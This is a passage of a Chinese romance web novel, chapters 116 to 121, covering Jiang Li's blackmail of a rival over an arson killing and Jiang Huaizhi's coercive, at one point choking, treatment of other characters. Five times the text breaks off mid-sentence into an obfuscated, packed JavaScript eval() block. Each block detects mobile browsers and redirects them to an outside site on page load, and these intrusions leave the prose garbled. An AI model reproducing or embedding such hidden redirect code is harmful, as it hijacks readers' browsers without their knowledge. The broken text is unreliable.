“早上你定的闹钟响个不停,我关闹钟的时候刚好看见信息弹出来,就点进去看了一眼。”江淮之突然笑了一声,看向姜梨的眼神却没有半点笑意,“没想到除了谢鹤扬的信息,还看到了别的更有趣的东西。” 姜梨的心猛地往下坠了一下。 尽管她和沈翊是用另一个微信号联系的,尽管她已经把所有重要的视频和照片都传进了电脑里,尽管她知道自己的手机很干净。 但是听到江淮之这么说,她第一反应还是会紧张,还是会心虚,怕他会察觉到什么。 很典型的,做贼心虚。 江淮之拿起桌上放着的那两本结婚证,打火机升起一窜火苗,火舌舔过红本子的页脚然后迅速燃烧起来,火光照亮他的脸,神情寡淡,黑色的瞳孔印着一点光。 空气里弥漫着纸张被焚烧的味道,很快完整的两本结婚证就变成了一把灰。 小主,这个章节后面还有哦,请点击下一页继续阅读,后 面更精彩! 第116章 火灾现场不止三个人 姜梨被刺激的耳根发麻,躲开他的触碰。 她挣不开他的束缚,男人的胳膊像铁一般。他说的话更是让姜梨气得胸口不断起伏,心里的火越烧越旺。 姜梨想骂他,但是一开口就带着浓浓的哭腔,“你是在讽刺我吗?你不拦我不就好了吗?” 说什么可爱,不就是在暗讽她傻,敢在他这个“师父”面前班门弄斧,不自量力。 “不是讽刺你,我在真心实意的夸你。”江淮之扣着她肩膀的手又紧了一分,“不拦着,就这样放你去见别的男人吗?” “我又没有答应他要去,我都说了我是回学校了!就算我真的要去见他又怎么样?你都能陪别的女人,我又为什么不可以?”姜梨眼睛一眨,一颗眼泪就掉下来砸到了江淮之的手背上,“你自己都说过结婚证放在我这里会弄丢,离婚的时候还要用,你都有过这个想法,我为什么又不可以有?” “江淮之!你双标狗!” 又哭,又哭。 她现在跟个螺丝没有上紧的水龙头一样,稍不注意就要滴滴答答的流眼泪,没完没了。 “宝宝不要哭,我那是骗你的,我从来没有过这种想法。”江淮之扣着她肩膀的力道松了松,“昨天晚上不是还答应要给我生孩子?不离婚好不好?” 姜梨记得这个茬,她当时真是被他整的意乱情迷了,回答问题也是不过脑,下意识就顺着他的意思回了一句好。 现在她清醒了,她才不要。 姜梨背对着江淮之,他看不到她逐渐勾起来的唇角。 “不好!”姜梨趁着他放松,立刻从他怀里挣脱出来,开门跑出书房,一顿操作行云流水,像一只兔子。 “你惹我生气了,我就要离!我又不是什么很贱的人,真当我还是小孩,这么好哄骗吗?江总,你怎么还没长大?”姜梨要跑出家门时还不忘转过身对他扮个鬼脸,哪里还有刚刚哭唧唧的样子? 知道他最怕她哭,刚刚是在装给他看呢。 江淮之没有再去抓她,怕她真的会急眼。 姜梨没敢多停,说完之后就一溜烟儿的跑了出去,连门都没来得及关。 江淮之愣了好久,然后闷笑了一声,拿过手机给她发两条信息,走出去把门关上。 “喵~” 江淮之侧头看向趴在猫窝里正在舔爪子的小东西,走过去蹲在它面前,“你妈不要我们了,你还挺悠闲,也不知道帮我留一下她,小白眼狼。” “喵喵!”小野像是听懂了江淮之的话,放下爪子,龇牙咧嘴的冲他凶巴巴的叫了两声。 “你又不是你妈,再这么张牙舞爪的瞎叫,我就把你的舌头割掉。” 小野往窝里缩了缩,憋屈的趴了下来。 姜梨刚走出小区就看到了等在门口的谢铭。 “少夫人,大少爷让我送您回学校。” 江淮之哪里是让谢铭送她?分明就是怕她偷偷摸摸去找谢鹤扬,就找人监视她。 心里虽然不满,但是看谢铭这副她不上车他就没法交差的样子,姜梨也没有多说什么,应了一声之后上了车的后座。 刚上去她的手机就响了两声,解锁点开,发现是江淮之的信息。 他自己把自己从黑名单里拉了出来,还设置了置顶,好在他没有自己改备注,还是“老王八蛋”。 姜梨看着江淮之新换的头像,眉毛忍不住挑了一下。 是从她的头像上截出来的边角料,算是另类的情侣头像。 江淮之什么时候这么幼稚了? 一想到他顶着那张无欲无求的脸,面上一本正经去截她头像的样子姜梨就想笑。 但是当姜梨看清楚江淮之发来的那条消息的内容的时候,她的笑就僵在了脸上,脸色迅速红温。 如果不是因为穿了高领的毛衣,就能看到她发红的脖颈。 “洗漱的时候你没有看到垃圾桶吗?在浴室的那两次我有戴,前面的时间我也没在里面,用不着吃药。” 姜梨重重的咬了一下嘴唇内侧的肉,回了一句:“知道了。” —— 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293903|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梨刚走到宿舍楼下,就遇到了一个让她意料之外的人——沈月汐。 沈月汐戴着口罩和帽子,把自己裹得严严实实的,要不是她的眼睛一直盯着她看,姜梨还真认不出来是谁。 “站住!” 姜梨直接当做没认出她,越过她就要往宿舍楼里走,沈月汐伸出一条胳膊挡在了她身前,拦住了她的路。 “我当是谁呢?原来是沈三小姐。”姜梨脚步停下来,眯着眼看了她好一会,佯装刚认出她的样子,“傅雪违背约定出现在了樱洲是因为她和沈叙有婚约,那你是为什么违反这个约定?楚云知道你跑来樱洲吗?” 沈月汐看着姜梨这张脸,恨的牙痒痒。 她从口袋里摸出那个姜梨让沈翊交给她的u盘捏在手里,“你这是从哪搞来的乱七八糟的东西?” 姜梨觉得好笑,“你管我是从哪里来的?那都是实打实的证据!你纵火杀人的证据以及你和楚柠歌诬陷我害楚四夫人流产的证据,怎么能被称作是乱七八糟的东西呢?” “你现在弄出这些东西来是想干 什么?”沈月汐一把攥住她的手腕,她比姜梨要高出半个头来,看着姜梨时有种居高临下的感觉,“事情过去了这么久,别人早就已经忘记了!你曝光出来也没有用!我有妈妈,楚柠歌有楚家。你有什么?最后倒霉的还是你自己!” 呵,姜梨看着她的眼睛,冷笑了一声。 “既然你知道最后倒霉的会是我,那你这么急着从北城赶回樱洲在这蹲我是什么意思呢?楚云知道吗?”姜梨把手抽出来,不断走近她,逼得她止不住的后退。 “你都知道没有任何后盾的我会倒霉,斗不过你和楚柠歌,那你别跳脚啊?” “姜梨,你……” 姜梨不想再跟这样的蠢货废话,她笑了起来,温声细语:“这些视频我都是剪辑过的,完整的视频才是真的精彩绝伦。还有,当时被困在火灾现场的不止三个人。” 她停顿了一下,看着愣住的沈月汐,眼里划过一丝精光,一字一句道:“是四个人。” 第117章 我给你面子,你也要长点脑子 姜梨的话犹如一盆冷水泼在了沈月汐的身上,凉意从头顶穿透脚底,冷得她双唇都在打颤。 也就是说,她不仅有物证,还有人证! 这怎么可能呢?当时楚云明明就已经帮她洗脱了嫌疑,没有留下任何证据。她亲眼看到屋子里只有林家兄妹和姜梨三个人她才点的火,这冒出来第四个人到底是怎么回事! 姜梨的眼睛微弯,“从那次在酒吧开始,倒霉的人就已经不是我了。你不过就是一个被一把空枪就能吓晕过去的草包,拿什么来跟我斗?” “你总是把楚云挂在嘴边,不如我们来打个赌?看看这些证据曝光出来以后,她还会不会再保你。” 沈月汐看着姜梨那张脸,突然笑了一声,“你要是真有这么多的证据,为什么不马上发出来为自己正名,为林遥报仇?你少在这里狐假虎威!” 姜梨这个诡计多端的女人,分明就是在诓骗她! “这种东西一旦曝光,对你们沈家和楚家来说都是天大的丑闻。”姜梨有理有据的解释:“我曝光之后,楚家肯定也会对我不利,楚云也不会放过我。这种伤敌一千自损一千二的事情,我不会做,我只是想让你观赏一下你自己的战绩,给我点钱花而已。” 姜梨话锋一转,眼睛微眯,满是威胁和警告:“你和楚柠歌要是敢告到楚家人面前,那就玉石俱焚好了。进监狱的进监狱,丧生的丧生,我们谁也别想好过。” “钱?你缺钱?江淮之没给你钱吗?” 沈月汐不愧是楚云手把手教出来的女儿,说出来的话都出奇的一致。 “我又不是江淮之的亲妹妹,我不可能一辈子都待在他的身边。”姜梨敛了敛神色,眸光微动,看着沈月汐道:“我要的不多,只要你给我五百万,我就离开北城和樱洲,永远都不会再回来,这些东西自然也会被我烂在肚子里,那第四个人也永远不会出现在世人面前。” “到时候你就是姜氏唯一的继承人,不会有人再跟你抢。” “五百万?!妈妈不是已经给你股份了吗!你是不是有点太贪心了?”沈月汐瞪大眼睛看着她。 姜梨轻笑,“谁会嫌钱多?怎么着啊?一条人命,我一辈子的名声,姜氏唯一继承权换你五百万你居然觉得我贪?我给你面子,你也要长点脑子啊。” “姐姐,我只想活下去,安度余生。” 沈月汐听完眉头紧皱,在认真思考。 刚刚姜梨说,一旦告诉别人她就会立刻曝光,这个别人也包括楚云。 那她上哪去弄到这么多的钱? 突然沈月汐脑子里闪过一道白光,她没有那么多的钱,但是楚柠歌有啊。 想到这,沈月汐嘴角不受控制的微微上扬,看着姜梨豪爽的应了下来,“我答应你,五百万我会想办法汇给你,希望你能履行承诺。” 眼见忽悠成功,姜梨勾唇一笑,活像一只狐狸,“成交!” 姜梨上楼了沈月汐也没离开,一直看着她的背影阴恻恻的笑,眼里都是藏不住的怨恨和阴毒,像一条吐着信子的蛇。 —— “大少爷,昨天酒吧门口的烟花秀视频已经按照您的要求联系媒体让他们撤了下来,不会有其他人记得这件事。还有,我已经查到少夫人的转账流水了。”谢铭送完姜梨就马上回了秋水湾,来汇报江淮之安排他做的这些任务的结果。 江淮之没出声,用眼神示意他接着说。 “前段时间包括一年前,少夫人都没有过大额花销和任何转账记录,但是就在昨天她多了一个新的账户,有一笔一百五十万的收入,转账人是港城的纪小姐,少夫人也是在昨天才有了三笔的大额支出,至于再早的时候,在港城的那段时间的就查不到了。” 纪繁星转的那一百五十万,应该是姜梨答应帮忙拍宣传片,她们商定下来的价钱。 这么看的话,姜梨还挺会谈价钱的。 江淮之的眼睛弯了弯。 谢铭跟他一一例举:“除了烟花秀和那条送给谢鹤扬的那条领带以外,我还查到她买下了一款高奢品牌的男士腕表。” “但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293904|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这三笔花销是分两张银行卡转的。前面两笔是少夫人平常自己用的卡,合记下来话费十万整。而那款腕表则是单独走了多出来的那个新账户,定价刚好是一百五十万元。” 江淮之愣了一下。 烟花秀是她临时安排的,为了帮楚卿然逃跑,排场那是大的不得了。如果不是他提前压了下来,那场烟花的视频以及姜二小姐高调示爱港城谢家二公子的新闻怕是早就已经被传得满天飞了。 这么短时间要让店家弄出这样的大场面,自然是要花点钱。那条领带,是她送给谢鹤扬的生日礼物,自然也不便宜。 那款腕表又是怎么回事? 姜梨这是用纪繁星给她的天价报酬,去买了一块表? 还是男士腕表。 姜梨跟谢鹤枭说缺钱,缺的是这个钱? 她是要送人吗?哪个男人这么有面,能让她“倾家荡产”的特意送这么一块表? 江淮之:“有从品牌经理那里问出什么吗?” “少夫人说她过段时间才会来拿,付了钱签了单就走 了,别的什么都没说。” 良久,江淮之才淡淡的嗯了一声,表示知道了。他没什么表情,甚至都看不出他的喜怒。 江淮之把玩着打火机,眼睫微垂:“舒羽呢?” “我已经跟她简单说明了情况,一个小时前她和舒翎刚落地,这会应该在跟简总交接工作,帮舒翎办理入职手续。”谢铭顿了顿,然后看向江淮之道:“舒羽说,不管大少爷是不是司家家主,她都会一直跟着您,但是只想让舒翎做个局外人。” 江淮之给了舒羽两个选择。 第一个选择就是他会给她最后一笔报酬,让她带舒翎去别的城市生活。第二个选择就是继续像之前一样,继续去当那枚任他操控的棋子。 原以为舒羽会选第一条,没想到她会毫不犹豫的选第二条,这是江淮之意料之外的事情。 江淮之眸底一片深沉,“那你让她一会来秋水湾一趟,我要亲自和她谈一谈。” 第118章 江总撒娇 姜梨虽然是半路转的专业,但是胜在脑子聪明,又有叶辞这个金融系的学霸帮忙开小灶,作业完成效率很高。 把叶辞发过来的那些精简的要点一一点了收藏以后,她去学校食堂解决了晚饭。 再回宿舍已经是七点多了。 坐在书桌前,翻看日历。 姜梨和沈翊定好离开港城的日子是在下个月的九号,那天是沈叙和傅绾的婚礼,没有人有多余的时间关注他,他可以安心和她一起去港城。 江淮之今年的生日是在……一月十号。 时间刚好,完美错开。 只剩下十几天,半个月都不到了。姜梨眼神闪了闪,嘴角耷拉了下来。 轻快的手机铃声在安静的宿舍里响起来,姜梨看着上面闪着哥哥两个字,“啧”了一声。 江淮之的电话号码也被他从黑名单拉了出来,这个狗男人。 “干什么!” 电话另一头的人听到她这个语气,愣了一下,然后极其自然的说了句:“想你了。” 隔着电话听筒,他本来就富有磁性的声音夹带了点微弱的电流,显得更加酥麻,姜梨哽了一下,脸有些热。 “你干嘛呀,这才多久?”虽然是吐槽的话,但是声音却不自觉的放软,带了点尾音,像羽毛一样剐蹭江淮之的心脏,有些痒。 江淮之喉结上下滑动,声音沉沉:“你明天下午没课,我三点多去学校接你。” 他怎么知道她明天下午没课的? 转念一想,江淮之是樱大的校董,想要她的课表简直不要太简单。 姜梨沉默了好一会,然后说:“江总,马上这一年就要结束了,这个时间段公司不是应该很忙吗?” 话里话外都是在说他这个执行总裁、司家掌权人太闲了。 “妹妹。”江淮之喊了她一声,对她道:“我现在,只想和你约会。我时间有很多,没有你想的这么忙,能不能给我一张哄你的入场券?” 约会??她和江淮之? 姜梨本就泛红的脸现在又红了一个度,她轻咳了一声,“虽然只是一张入场券,但是你也得花钱买。” 她眼珠一转,“你求求我,我高兴了就给你入场券。” 姜梨本来是想让他告诉她隐瞒的真相,但是想想还是作罢,江淮之不会告诉她,等会又要吵起来。而且她做了一场梦,也算是知道了一点点。 江淮之勾唇笑了一声,她学坏了。 这一声笑后,电话两头的人都静默了。 如果不是有微弱的电流声,姜梨会以为江淮之已经把电话给掐断了。 姜梨撇了撇嘴,不想求就直接说嘛,干嘛要笑一声然后突然就不讲话了? 正当她想开口给台阶的时候,江淮之的声音传了出来,“宝宝,求求你了。” 声音被他刻意放软,语调里都是央求,还有点撒娇的味道。 温柔又乖顺,没了棱角。 像一头威风凛凛的狼突然变成了一只猫,任由别人在它身上摸来摸去,胡作非为,甚至还会讨好的去蹭蹭那人的为非作歹的手。 其实,江淮之每次叫她宝宝,姜梨都会感觉到自己被电了,全身发麻发软。 他叫的温柔又缱绻,她也是真的好没出息,每听到一次,心脏都会悸动。 姜梨的脸更烫,语气却没有什么变化:“那我就,勉为其难,给你一张入场券吧。” “叩——”听到门被敲响,江淮之眼神闪了闪,对电话另一边的姜梨道:“乖乖吃药,早点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293905|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休息。” “哦。”姜梨应下,电话挂断。 她把手机丢到一边,在书包里拿出那些药品,眼睫微垂,落下一片暗色的阴影。 “砰——” 一袋子药,被她全部扔进了垃圾桶里。 —— 季妍打开门,门外站着的是谢铭和舒羽。 江淮之长腿交叠坐在沙发上,穿着宽松闲适的居家服,坐姿恣意闲散,表情寡淡。 都说西装革履的人难以接近,但是在江淮之这里反而相反了。他脱下西装后就没有了所谓的温文尔雅,凉薄的有些吓人。 舒羽这是第一次来秋水湾,这里的装修风格和他在北城的私人别墅格格不入。 一冷一暖,一暗一亮。 江淮之侧头看了谢铭一眼,他立马会意,去了地下车库。 季妍也主动去了佣人层,偌大的房间里就只剩下江淮之和舒羽两个人,她的心跳的有些快,有些无所适从,不知道江淮之突然把她叫过来,又不让谢铭在旁边是什么意思。 江淮之站起来,走到一处柜子旁,冷不丁问了一句:“普洱还是龙井?” 舒羽被这个突然吓了一跳,下意识就回了一句:“普……普洱。” 温壶、烫杯、洗茶、泡茶。 他的动作不急不缓,优雅有条不紊,泡出来的茶汤橙黄浓厚,茶香味四溢。 舒羽知道他不喝茶,却没想到江淮之会懂茶艺,还很精湛。 江淮之只泡了一杯,他重新坐回沙发上,声音冷淡:“坐下品茶。” 舒羽吞咽了一下喉咙,坐下时她的肢体动作都有些僵硬。 小主, 这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第119章 容不下你这样的叛徒 时愿一个人待在小楼,从昨天晚上一直等到了现在,江淮之都没有回来。 她打了两个电话,第一个被他挂断,再打第二个过去的时候,他直接关机了。 窗外的天从无尽的黑慢慢变亮露出鱼肚白,然后再慢慢暗下去,又变得漆黑。 在司家老宅里,时愿住的这栋小楼很偏僻,这几天接连不断地发生变故,佣人都战战兢兢不敢随意走动,这个地方就更加的寂静…… 不仅仅是这里,整个司家老宅都很安静。 所以车子的引擎声显得格外的吵,时愿一顿,几乎是“咻”地一下起身,打开窗户,朝着大门的方向看过去。 看到江淮之的身影从车上出来,眼睛亮了亮。然而下一秒,时愿的笑就僵在了脸上。 从车里一起下来的,还有另一个女人,江淮之甚至亲自给她开了车门,手掌护着她的头顶,举手投足间都是怜惜。 所以江淮之昨天晚上,是和她在一起吗? 这个女人不是姜梨,那是谁?江淮之身边还有谁? 时愿的手紧紧捏着玻璃窗的框,盯着那两个身影,指尖泛白。 舒羽低着头和谢铭走在一起,跟在江淮之身后。又是带她来老宅,又是体贴的帮她开车门,江淮之平时哪里有这么绅士? 不知道他葫芦里卖的什么药,舒羽也不敢多问。 司家的两座泰山已经不在人世,江淮之也不用再去主宅过形式,直接去了后方的小楼。 夜黑风高,小楼附近没有开路灯。月光穿透厚厚的云层,洒下一地惨淡的光。 走到一扇门前,江淮之规律的敲了三下门。 在门打开的一瞬间时愿就要扑进江淮之怀里,谢铭反应极快,挡在了江淮之和舒羽身前,将时愿和他们隔开。 谢铭常年待在江淮之身边,这样的保护行为是身体下意识的反应。他知道时愿大概率可能是想亲近江淮之,只不过她毕竟是别人送过来的冒牌货,谁知道她会不会拿刀行刺? 时愿定在原地,看着他们有些不知所措。 “谢铭。”江淮之神色淡然,让谢铭退下。 “是。”谢铭颔首,退回了江淮之身后,只是眼睛依旧警惕的看着时愿,生怕她有什么过激举动。 江淮之走进门,谢铭和舒羽按照他的吩咐等在门外。 门关上,江淮之扫了一眼,然后随意坐到了沙发上。 时愿双手放在身前,站在一边,显得有些拘谨不安,还有点委屈。 江淮之瞥了她一眼,看到她眼下的一层淡青色,脸色也有些不好看,他薄唇轻启,“谢铭刚刚的举动是出于保护,是我默许的。你身体不舒服就坐下,我也没让你一直站着。” 男人没有穿西装,看过来的眼神有些冰寒,这样的冷漠疏离让时愿的心颤了颤。 他在不高兴。 时愿嗫嚅着双唇,缓缓开口:“我没有身体不舒服。我昨晚十二点的时候给你电话,你没有接,就一直等到现在。” 江淮之点了一根烟,烟雾袅袅,模糊了他的脸,看不清他的神情,“所以你刚刚扑过来是想干什么?” 时愿道:“想抱你。” 江淮之沉默了一瞬,然后抬起手拍了拍旁边的空位,无声的示意她坐过去。 时愿心里一喜,走过去,坐到他身侧。 她挨的极近,隔着布料大腿贴着大腿,能闻到他身上混着烟草味的雪松香。 清冽又干爽,带了点香烟的苦味。 江淮之黑色的大衣外套敞开,里面是一件黑色的圆领毛衣,他的皮肤很白,所以脖颈处的红色抓痕格外的明显。 时愿的手搭在膝盖上,下意识抓紧裤子的布料,发出清晰的摩擦声。 “你喜欢我?”江淮之把烟夹在指尖,突然问了她一句。 “嗯。”时愿抿唇,毫不犹疑点头。 江淮之掸了一下烟灰,“喜欢我什么?” 时愿回答:“因为你帮过我,不止一次。” 说到这里她停顿了一下,反问:“你不是也喜欢我的吗?” 江淮之微微侧身,他抬起夹着烟的那只手轻轻抚摸过她的眼睛,手掌慢慢移到她脖颈处,嘴角弯起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293906|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来一抹尖锐的冷笑,然后突然用力,狠狠掐住了她的脖颈。 “我什么时候说过喜欢?” 时愿的眼睛倏然瞪大,烟头滚烫的热度离她只有堪堪一厘米的距离,如果她的头发没有扎起来,就会被烧焦。 她的脸憋的通红,眼睛里溢出眼泪,艰难开口:“你……你帮我挡过刀子,不止一次……” 江淮之的眸子微微眯起,眼神凛冽如利刃,凝视着她像是在无声地一点点将她割开。 就在时愿快要窒息的时候,江淮之松了手。 时愿如释重负,大口大口的呼吸着新鲜的空气,不停的拍着胸口顺气。 脆弱纤细的脖颈,有了一圈隐隐发青的印记,江淮之给她倒了一杯水,阴郁的神情一扫而空,又变回了那个如沐春风的样子。 “我昨天晚上跟陆七的局结束之后的确是去找舒羽了,她是我的助理。”江淮之的嗓音沙哑清润,语气缓和不少,“你用不着在她面前搞那些小动 作,她比你听话,我从来都只喜欢听话的女人,所以我更愿意去找她也是在情理之中。” “还有,你如果你真的是时愿,你应该很怕我才对,现在跟我说喜欢我是不是太牵强?” 时愿半趴在沙发垫上,闻言身体狠狠一颤,他是知道什么了吗? 还是在试探她? 江淮之随手将烟头摁灭扔进了垃圾桶里,然后起身站起来,居高临下的看着她,“你不用这么紧张害怕,你到底是谁对我来说根本就不重要,毕竟你这张整出来的跟时愿六七分像的脸我看着还是挺舒心的。” “你可以去跟你的主子说我已经知道了你的身份,也可以去告诉姜梨我以前对她有多凶、有多坏。”江淮之捏起她的下巴,温声道:“你的主子不会再管你,姜梨也不一定会信你说的,但是我生平最讨厌别人背叛我,到时候我的身边可容不下你这个叛徒。” 逆着光的站位,他的头发丝都在发光。 如果不是他恨不得捏碎她下巴骨头的力道,光是看他俊脸上挂着的和煦如暖阳的笑,任谁看都会觉得他是降临人间的神明。 第120章 跟江淮之是同一个类型的 时愿的太阳穴突突的跳,从窒息中缓了过来,鼻尖出了一层薄汗。 她双手撑着沙发垫,眼眶里起了一层薄雾,仰起脑袋看着江淮之,“不管你信还是不信,我就是时愿。” 好看的桃花眼里泪光闪烁,眼眶微红,是何等的我见犹怜。 江淮之眼底一片晦涩难懂,沉默了一会儿,他似是轻叹了一口气,然后弯腰将时愿从沙发上扶了起来。 看了一下她脖子上的淤青,柔声细语:“疼吗?” 时愿抿唇,摇了摇头,然后又点头,满脸的委屈,声线颤抖:“疼的。” 更加确信江淮之刚刚是在试探她,现在应该又是暂时相信她是时愿的事情了。 “疼就对了,只有这样你才能长记性,才会学乖。”江淮之松开手,重新坐回她身边,手掌不算温柔的摁住她的后颈,迫使她扭头和他对视。 江淮之的丹凤眸瞳仁漆黑深沉,菲薄的唇微微挑起,柔和的光线磨去了他的锐气,连眼神好像都变得深情了几许。 时愿心口悸动不已,被压住的后颈的疼痛感都减弱了不少,呆愣的看着江淮之,脸颊微红。 江淮之薄唇轻启,“还记得你以前怎么叫我的吗?” “阿……阿野。” “错了。”江淮之的力道加重了一些。 时愿喉咙一紧,又喊了一声:“哥哥。” 江淮之表情不着痕迹的淡了下来,松开她,就这样无声的待了半个多小时。 最后还是舒羽敲门,提醒他:“江总,简总那边今晚约了你谈公事,时间已经快到了。” 小楼的隔音效果不好,舒羽的催促声清晰的传到房间里,江淮之随之站起来。 时愿知道他这是要走了,有了刚刚那一遭,她不敢开口留他,也不敢多问什么,只是跟着站起来想要送他。 江淮之提前按住了她的肩膀,低下头,眼神微敛,“家庭医生一会儿会过来帮你处理伤势,我有空就会来看你。” 时愿抿唇笑了笑,很乖顺的应了下来。 待江淮之等人离开,时愿又站到了窗边,目送三人上车,舒羽和江淮之举止依旧亲密无间,一同坐上了车的后座。 江淮之跟她在一起的时候,从来都是在副驾。 这个舒羽,就是那个一直跟在江淮之身边,并且传出来绯闻的女人。 为了这个女人,江淮之在港城的拍卖场花一个亿帮她赎回了她的妹妹。 江淮之说,昨天晚上他和舒羽待在一起,他脖子上的抓痕明眼人都能知道发生了什么,自然不可能是单纯的讨论公司的事务。 她能看到的都这么明显,遮都遮不住,也不知道衣服底下看不到的还有多少。 时愿盯着驶离的车,下意识伸手摸了摸脖颈,眼神逐渐变得越来越阴沉。 江淮之上车后脸色就变得阴沉沉的,周遭的气压低到让人觉得呼吸困难,谢铭和舒羽都不敢出声。 开出司宅以后,谢铭不知道该去哪。 舒羽的说辞是随便瞎扯的,江淮之和简清时早就已经谈过了。 是去樱洲分公司?还是回秋水湾?或者是去陆七那里? 车速降下来,江淮之冷声:“先送她回去,然后回秋水湾。” 觥筹交错的路灯透过车窗洒在江淮之的脸上,舒羽看了他一眼,他的眼睛闭着,在养神。 犹豫了好久,她还是斟酌着开口问他:“刚刚那个……是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293907|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时愿?我怎么觉得我在哪里见过这个人?” 江淮之依旧闭着眼睛,“怎么?” “就觉得眼熟啊,好像在哪看到过。而且你以前故意让我气傅绾我还能理解,因为你不想娶。但是为什么故意把我带过来气时愿?她不是你的初恋情人吗?你不是很喜欢她吗?” 江淮之没回答她的问题,而是对她道:“公司动荡不安,以后我会让谢铭保护你和你的妹妹,你们不会有任何危险。” 王顾左右而言他,那就是不想回答。 舒羽很识趣的没有再多问。 江淮之回到秋水湾,洗了个澡。 猫砂和猫粮都被季妍换了新的,小野已经在猫窝里趴着睡着了,江淮之看了一眼,他没去碰它,回了自己的卧室。 空荡荡的,有些冷清。 床头柜上摆着一个相框,是姜梨在分公司里看到的那一张照片。 眼睛红,鼻子也红,一副惨兮兮的可怜样。 一个人从医院偷偷跑出来,把他吓得够呛,他对她的语气稍微严厉了一点就开始掉金豆子。 明明姜祈安后来罚她也不见得她哭一声,偏偏在他这里动不动就掉眼泪。 骂一句要哭,眼神凶一点要哭,语气太严厉也要哭。 现在还得再加一条,被他欺负的时候也要哭,比任何时候都要哭得厉害,还会骂他畜生。 眼睛和鼻子同样红,同样一副可怜兮兮的样子。但是,身体却诚实的很,越来越软,越来越润,也越来越紧。 江淮之眼神变深,有些口干舌燥。他难耐的闭了闭眼,心里忍不住想,姜梨骂得还挺对的。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第121章 他好看还是我好看 跟江淮之一样的极品!? 许雾听完立刻从床上爬下来,站到姜梨旁边,“真的假的?有照片吗?我瞅瞅!” 姜梨实诚的摇头,她还真没有江淮之的照片,有也是他高中时候的,就两三张,他好像不怎么爱拍照。 “你就按着江淮之那张脸,自行脑补一下。” 姜梨站起来拍了拍她的肩膀,然后开始收拾桌上的东西。 许雾趁着姜梨忙活的功夫,在柜子里拿出一样东西,放进了她的包里。 “注意安全!”姜梨走时,许雾还意味深长的跟她说了这么一句话,不过她也没有多想,随便应了一声,然后就急匆匆地跑下楼。 姜梨站在校门口,眯着眼睛找半天都没看到江淮之的车在哪里? 她正要给江淮之打电话,一个人就站在了姜梨,“学妹在找我吗?” “!”姜梨被吓了一跳,扭头看了过去,视线往上移,一下子就撞进了江淮之的眼睛里。 她瞳孔缩了一下,“你……你怎么走路没声音?” 姜梨的听力非常好,正常情况下,就算是很轻的脚步声她都能听得见,但是刚刚她真的没有察觉到江淮之是什么时候出现在她身后的。 “是你一直在校门口找我太专注,所以才没有听到。” 三点的时间,樱大的人流量还是挺大的,已经有不少人在往他们这边看了,姜梨也不知道为什么突然就有点紧张。 姜梨抓住他的手腕朝外走,“怎么不在校门口等我?你也不怕被学校的同学认出来……还有,你干嘛那样喊我?” 她的手很凉,江淮之反手牵住她,十指交叉,握紧,“都装备成这样了,没人会认出来。就算是认出来了也没事,反正迟早都会知道。” “我也是樱大毕业的,你不是我学妹吗?” 江淮之的手从来都是干燥温暖的,手也很大,他以前也经常会牵她,但是没有十指紧扣。 姜梨又觉得自己的心脏被电了一下,有些麻,耳根也有些发热,眼睛又打量了他几眼。 他今天戴了白色的口罩,还戴了一顶黑色的鸭舌帽,遮得严严实实,只露出来一双好看的凤眸。 